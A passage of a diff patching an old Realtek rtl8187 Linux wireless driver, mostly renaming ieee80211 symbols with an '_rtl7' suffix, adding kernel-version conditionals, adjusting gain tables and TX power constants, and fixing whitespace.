void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/Makefile 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-08-12 13:11:32.000000000 -0400 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_93cx6.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-08-12 13:11:32.000000000 -0400 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_hw.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-08-12 13:11:32.000000000 -0400 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-08-12 13:11:32.000000000 -0400 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-08-12 13:11:32.000000000 -0400 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225z2.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-08-12 13:11:32.000000000 -0400 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short 